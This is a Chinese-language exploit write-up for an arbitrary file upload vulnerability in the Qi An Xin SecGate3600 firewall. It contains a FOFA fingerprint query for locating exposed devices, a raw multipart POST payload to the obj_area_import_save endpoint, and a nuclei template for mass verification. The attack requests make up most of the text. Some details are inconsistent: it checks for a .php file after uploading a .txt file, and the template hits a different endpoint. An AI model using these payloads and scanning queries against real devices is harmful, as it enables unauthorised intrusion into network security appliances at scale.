漏洞描述

奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传漏洞

fofa语句

fid="1Lh1LHi6yfkhiO83I59AYg=="

漏洞复现

打开网页

构造payload

POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

访问回显文件/attachements/changge.php

nuclei批量验证

id: qianxin-secworld-secgate3600-obj_area_import_save-fileupload

info:
  name: 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传漏洞
  author: fgz
  severity: critical
  description: 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传漏洞
  metadata:
    max-request: 1
    fofa-query: fid="1Lh1LHi6yfkhiO83I59AYg=="
    verified: true
variables:
  file_name: "{{to_lower(rand_text_alpha(6))}}"
  file_content: "{{to_lower(rand_text_alpha(20))}}"
  rboundary: "{{to_lower(rand_text_alpha(26))}}"
requests:
  - raw:
      - |+
        POST /?g=app_av_import_save HTTP/1.1
        Host: {{Hostname}} 
        Content-Type: multipart/form-data; boundary=----{{rboundary}}
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

        ------{{rboundary}}
        Content-Disposition: form-data; name="MAX_FILE_SIZE"

        10000000
        ------{{rboundary}}
        Content-Disposition: form-data; name="upfile"; filename="{{file_name}}.txt"
        Content-Type: text/plain

        {{file_content}}
        ------{{rboundary}}
        Content-Disposition: form-data; name="submit_post"

        obj_app_upfile
        ------{{rboundary}}
        Content-Disposition: form-data; name="__hash__"

        0b9d6b1ab7479ab69d9f71b05e0e9445
        ------{{rboundary}}--

      - |
        GET /attachements/{{file_name}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Accept-Encoding: gzip

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 302 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"